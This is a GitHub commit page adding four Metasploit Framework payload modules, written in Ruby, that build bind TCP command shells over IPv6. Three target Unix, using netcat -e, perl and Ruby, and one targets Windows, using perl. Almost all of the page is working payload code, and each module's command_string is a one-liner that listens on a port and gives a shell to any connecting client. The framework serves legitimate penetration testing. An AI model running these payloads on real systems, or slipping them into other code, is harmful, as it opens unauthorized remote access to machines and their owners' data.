Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
HD Moore
committed
Dec 14, 2011
1 parent
f6ef4ce
commit 866e2b6
Showing
7 changed files
with
233 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/handler/bind_tcp' | ||
require 'msf/base/sessions/command_shell' | ||
require 'msf/base/sessions/command_shell_options' | ||
|
||
module Metasploit3 | ||
|
||
include Msf::Payload::Single | ||
include Msf::Sessions::CommandShellOptions | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'Unix Command Shell, Bind TCP (via netcat -e) IPv6', | ||
'Version' => '$Revision$', | ||
'Description' => 'Listen for a connection and spawn a command shell via netcat', | ||
'Author' => 'hdm', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Handler' => Msf::Handler::BindTcp, | ||
'Session' => Msf::Sessions::CommandShell, | ||
'PayloadType' => 'cmd', | ||
'RequiredCmd' => 'netcat-e', | ||
'Payload' => | ||
{ | ||
'Offsets' => { }, | ||
'Payload' => '' | ||
} | ||
)) | ||
end | ||
|
||
# | ||
# Constructs the payload | ||
# | ||
def generate | ||
return super + command_string | ||
end | ||
|
||
# | ||
# Returns the command string to use for execution | ||
# | ||
def command_string | ||
"nc -6 -lp #{datastore['LPORT']} -e /bin/sh" | ||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,60 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/handler/bind_tcp' | ||
require 'msf/base/sessions/command_shell' | ||
require 'msf/base/sessions/command_shell_options' | ||
|
||
module Metasploit3 | ||
|
||
include Msf::Payload::Single | ||
include Msf::Sessions::CommandShellOptions | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6', | ||
'Version' => '$Revision$', | ||
'Description' => 'Listen for a connection and spawn a command shell via perl', | ||
'Author' => ['Samy <samy@samy.pl>', 'cazz'], | ||
'License' => BSD_LICENSE, | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Handler' => Msf::Handler::BindTcp, | ||
'Session' => Msf::Sessions::CommandShell, | ||
'PayloadType' => 'cmd', | ||
'RequiredCmd' => 'perl', | ||
'Payload' => | ||
{ | ||
'Offsets' => { }, | ||
'Payload' => '' | ||
} | ||
)) | ||
end | ||
|
||
# | ||
# Constructs the payload | ||
# | ||
def generate | ||
return super + command_string | ||
end | ||
|
||
# | ||
# Returns the command string to use for execution | ||
# | ||
def command_string | ||
|
||
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" | ||
|
||
return cmd | ||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/handler/bind_tcp' | ||
require 'msf/base/sessions/command_shell' | ||
require 'msf/base/sessions/command_shell_options' | ||
|
||
module Metasploit3 | ||
|
||
include Msf::Payload::Single | ||
include Msf::Sessions::CommandShellOptions | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'Unix Command Shell, Bind TCP (via Ruby) IPv6', | ||
'Version' => '$Revision$', | ||
'Description' => 'Continually listen for a connection and spawn a command shell via Ruby', | ||
'Author' => 'kris katterjohn', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Handler' => Msf::Handler::BindTcp, | ||
'Session' => Msf::Sessions::CommandShell, | ||
'PayloadType' => 'cmd', | ||
'RequiredCmd' => 'ruby', | ||
'Payload' => { 'Offsets' => {}, 'Payload' => '' } | ||
)) | ||
end | ||
|
||
def generate | ||
return super + command_string | ||
end | ||
|
||
def command_string | ||
"ruby -rsocket -e 'exit if fork;s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'" | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,59 @@ | ||
## | ||
# $Id$ | ||
## | ||
|
||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'msf/core/handler/bind_tcp' | ||
require 'msf/base/sessions/command_shell' | ||
require 'msf/base/sessions/command_shell_options' | ||
|
||
module Metasploit3 | ||
|
||
include Msf::Payload::Single | ||
include Msf::Sessions::CommandShellOptions | ||
|
||
def initialize(info = {}) | ||
super(merge_info(info, | ||
'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6', | ||
'Version' => '$Revision$', | ||
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', | ||
'Author' => ['Samy <samy@samy.pl>', 'cazz', 'patrick'], | ||
'License' => BSD_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD, | ||
'Handler' => Msf::Handler::BindTcp, | ||
'Session' => Msf::Sessions::CommandShell, | ||
'PayloadType' => 'cmd', | ||
'Payload' => | ||
{ | ||
'Offsets' => { }, | ||
'Payload' => '' | ||
} | ||
)) | ||
end | ||
|
||
# | ||
# Constructs the payload | ||
# | ||
def generate | ||
return super + command_string | ||
end | ||
|
||
# | ||
# Returns the command string to use for execution | ||
# | ||
def command_string | ||
|
||
cmd = "perl -MIO -e \"while($c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\"" | ||
|
||
return cmd | ||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters